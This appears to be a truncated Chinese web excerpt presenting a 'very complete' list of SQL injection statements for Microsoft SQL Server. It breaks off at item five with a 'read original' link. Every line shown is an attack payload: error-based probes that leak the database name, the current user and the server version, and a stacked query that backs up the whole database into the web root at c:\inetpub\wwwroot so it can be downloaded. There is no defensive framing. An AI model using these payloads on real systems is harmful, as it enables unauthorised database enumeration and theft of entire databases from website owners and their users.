SQL注入语句 (很全)

一、返回的是链接的数据库名 and db_name()>0 二、做用是获取链接用户名 and user>0 三、将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';-- 四、显示SQL系统版本 and 1=(select @@VERSION) 或and 1=convert(int,@@version)-- 五

>>阅读原文<<